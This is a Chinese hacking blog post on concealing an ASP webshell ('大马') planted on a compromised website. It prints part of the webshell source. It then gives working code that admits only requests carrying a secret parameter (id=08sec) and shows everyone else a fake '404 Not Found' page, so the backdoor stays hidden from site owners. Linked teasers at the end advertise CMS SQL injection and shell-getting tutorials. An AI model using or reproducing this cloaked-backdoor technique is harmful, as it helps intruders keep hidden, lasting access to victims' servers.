另类隐藏保护asp大马地址 ***
我们首先以一个大马为例这个大马是没有密码的，只要知道地址就可以进去了
或者你的大马有密码但是被人为添加了后门，但比较隐秘，完全清除很难，我们就可以用下列 *** 来进行处理。
如何加上密码让他人进不来呢？
有些人直接加个登陆界面，人家一看就知道这是大马，还可以猜密码，我的 *** 就与众不同
首先我们来看看他的一部分源码
<%
'pue=true
On Error Resume Next
server.scripttimeout=600
UserPass="login"
response.buffer = true
Response.Expires = -1
Session.Timeout=60
Const wwj="NET WORK SYSTEM"
Const jlt="WEB TESTER'S SYSTEM"
Const oqk="zxp|cyk|dez|bki|ooc|che|koc|zbk|cxa|slf|ysi|azp|bdv|tempfile|zlc|miv|gez|kmt|sqdb|kbsl|newf"
Const pnf=true
Const rfd=33
Const yqo="d *** fk"
Const kuf="GB2312"
Const gco="_"
Const fgb="want_pre.asp"
Const righthz="_request_send_sumbit_include_reel_open_form_month_data"
public br,pbwell,juppath,foldermax,maxpath
foldermax=0
dim login,gem,jdu,kyj,ttg,cl,ghq,cey,zxp,cqo,iax,udo,cyk,dez,bki,jqj,tio,jki,nyr,glm,xnr,vnm,pue,zoi,ulz,jsr,gtu,qdr,yqc,ooc,bvn,khd,che,koc,zbk,cxa,slf,ysi,irs,sxi,bin,azp,bdv,wld,ovy,nqv,T1,ito,dqc,eaz,bia,uyy,yjd,xur,nld,zlc,miv,gez,kmt,ouc,rxg,amm,xbd,vuj,dov,ysv,mt,znk,boo,opy,moi,ddo,okCPU,iak,clw,bpx,akh,cgh,ouo,etz,uvt,alr,zpq,pfv,tlk,nrp,zni,ypd,nww,rrt,boq,lqo,gsh,eyq,ifp,afc,pgh,cen,lsv,tag,zhx,eza,ydo,tfv,uxo,fbp,mct,znz
jki= Clng("&H0")
for i=0 to 12
cqo=cqo&"#"&right("000000"&trim(hex(jki)),6)&","
jki=jki+1118481
next
colors=cqo&"#FFFFFF,#f44444,#00FF00,#f00000"
cl=split(colors,",")
怎样进行处理呢?
我在前面加上了
<%
if request("id")="08sec" then
session("ISUSER00")= "TRUE"
end if
%>
<%
If Session("ISUSER00") = "" Then
response.write("<html><body><h1> HTTP/1.1 404 Not Found</h1></body></html>")
Response.End
end if
%>
这段代码的意思是
如果返回的id是08sec的话就添加一个session isuser00的值为true
如果Session("ISUSER00")的值为空显示HTTP/1.1 404 Not Found
如果不是就执行下面的代码
所以我们的大马就被保护起来了
效果如下：
相关文章
黑客渗透入门教程 第二课：6行python代码写个端口扫描工具
俗话说练武不练功，十年一场空。如果你学黑客渗透的话，不学编程，那么会被人一直称为脚本小子。这个第二课，我们直接引入python课程。不瞒大家说，python我也是初学，为了照顾流行趋势，我在这里直接...
Helix3Pro是不是完全免费?
什么叫Helix3 Pro？ 如同之前的专用工具一样，Helix3 Pro是为计算机取证订制的与众不同专用工具。它早已十分细心地建立，以防止以一切方法触碰服务器，而且它是法医鉴定的。好的是Helix...
DedeCMS会员中心短消息SQL注射0day漏洞
需要:magic_quotes_gpc = Off DedeCMS会员中心短消息SQL注射漏洞,成功利用此漏洞可获得管理员密码: http://www.chncto.com/de/membe...
南方数据网站漏洞
漏洞影响版本 v10.0 v11.0 关键字：inurl:”HomeMarket.asp” 默认后台：/admin 直接爆用户密码： http://www.xxx.com/New...
.net 跨站脚本攻击（XSS）漏洞的解决方案
.net 跨站脚本攻击（XSS）漏洞的解决方案 描述： 1.跨站脚本攻击就是指恶意攻击者向网页中插入一段恶意代码，当用户浏览该网页时，嵌入到网页...
KesionCMS后台直接拿shell教程
以前就有人公布过拿shell过程 今天再给大家具体演示一下 KesionCMS V6.5 拿shell！ 演示网站：www.xxxx.com 直接打开后台 admin/login.asp...
Copyright Your WebSite.Some Rights Reserved.
免责声明:本站所发布的任何网站，全部来源于互联网，版权争议与本站无关。仅供技术交流，如有侵权或不合适，请联系本人进行删除。不允许做任何非法用途！